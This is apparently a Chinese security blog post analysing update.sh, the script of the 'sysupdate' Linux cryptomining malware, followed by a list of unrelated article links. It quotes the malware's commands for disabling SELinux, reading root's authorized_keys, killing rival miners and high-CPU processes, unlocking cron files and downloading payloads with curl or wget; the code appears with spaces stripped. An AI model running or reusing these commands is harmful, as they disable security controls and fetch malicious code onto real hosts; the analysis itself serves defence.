FreeBuf|Linux系统sysupdate挖矿病毒之update.sh脚本分析
序
这是第二次遇到该挖矿病毒 , 网上也有很多大佬对该病毒做过分析 , 也想过再写可能没有什么意义 , 最终还是想写一写属于自己的东西 , 也算是两次相遇的总结 。
背景这次废话不多说 , 直接上 , 背景感觉毫无意义 。
分析现象确认首先确认现象 , 通过查看系统进程发现存在CPU占用过高的现象 , 如下图:
文章图片
查看进程信息:
进程关联查看 , 发现该病毒启动时间是在2020.09.1810:00:01 。
文章图片
update.sh脚本分析【FreeBuf|Linux系统sysupdate挖矿病毒之update.sh脚本分析】通过对程序进行分析 , 发现该病毒程序同路径下存在update.sh文件(/etc/update.sh) , 通过对该文件进行分析 , 发现该文件为挖矿病毒执行的脚本文件 , 因此对该脚本文件进行分析 。
文章图片
定义系统变量
关闭selinux防火墙 , 隐藏输出的错误信息 , 如果有错误信息就输出到空设备2>/dev/null空设备:
setenforce02>dev/null关闭selinux:
echoSELINUX=disabled>/etc/sysconfig/selinux2>/dev/null把内容同步写入磁盘
sync&&echo3>/proc/sys/vm/drop_caches设置变量:
crondir='/var/spool/cron/'"$USER"cont=`cat${crondir}`查看ssh公钥信息
ssht=`cat/root/.ssh/authorized_keys`#ssht=cat/root/.ssh/authorized_keys关闭相关病毒程序
使用psauxf查看所有进程 , 并针对kinsiing进行查找 , awk是tab分割 , print$2是取出第二个单词 , psauxf查看进程中第二单词为PID(这里关闭的进程较多 , 只列举其中一些):
psauxf|grepkinsing|awk'{print$2}'|xargskill-9psauxf|grepkdevtmpfsi|awk'{print$2}'|xargskill-9psauxf|grep-vgrep|grep"mine.moneropool.com"|awk'{print$2}'|xargskill-9netstat-anp|grep185.71.65.238|awk'{print$7}'|awk-F'[/]''{print$1}'|xargs-I%kill-9%seliunx探测 , 检查是否关闭
if[-f"/usr/bin/curl"]thenecho$1,$2http_code=`curl-I-m10-o/dev/null-s-w%{http_code}$1`if["$http_code"-eq"200"]thencurl--connect-timeout10--retry100$1>$2elif["$http_code"-eq"405"]thenelsecurl--connect-timeout10--retry100$3>$2fielif[-f"/usr/bin/cur"]thenhttp_code=`cur-I-m10-o/dev/null-s-w%{http_code}$1`thencur--connect-timeout10--retry100$1>$2thenelsecur--connect-timeout10--retry100$3>$2fielif[-f"/usr/bin/wget"]thenwget--timeout=10--tries=100-O$2$1if[$?-ne0]thenwget--timeout=10--tries=100-O$2$3fielif[-f"/usr/bin/wge"]thenwge--timeout=10--tries=100-O$2$1if[$?-eq0]thenwge--timeout=10--tries=100-O$2$3fifi判断是否运行相同程序的挖矿病毒 , 如果有则删除
psaxf-o"pid"|whilereadprocid#输出所有pid信息dols-l/proc/$procid/exe|grep/tmpif[$?-ne1]thencat/proc/$procid/cmdline|grep-a-E"sysguard|update.sh|sysupdate|networkservice"if[$?-ne0]thenkill-9$procidelseecho"don'tkill"fifidonepsaxf-o"pid%cpu"|awk'{if($2>=40.0)print$1}'|whilereadprocid#查找所有PID中cpu大于40的doif[$?-ne0]#$?取上一个执行命令的状态 , 成功返回0 , 错误返回其他字符-nethenkill-9$procidelsefidone解锁操作
chattr-R-i/var/spool/cron#-R递归处理 , 解锁/var/spool/cron目录下的所有文件及子目录对文件进行加锁
- 系统性学习Node.js(5)—手写 fs 核心方法
- 文件系统(02):基于SpringBoot管理Xml和CSV
- 中兴突然宣布!国产芯片、系统都传来好消息,150亿没有白花
- 某系统绕过waf拿下webshell
- 一文讲透“进程、线程、协程”
- Go 实战项目推荐:Gin 实现的工单系统
- 学大数据是否有前途 如何系统掌握大数据技术
- Linux培训完能到什么水平,之后还需要学习哪些技术?
- 如何使用 lshw 查看 Linux 设备信息
- 华为正式宣布!鸿蒙系统确认名单,部分机型无法升级或被淘汰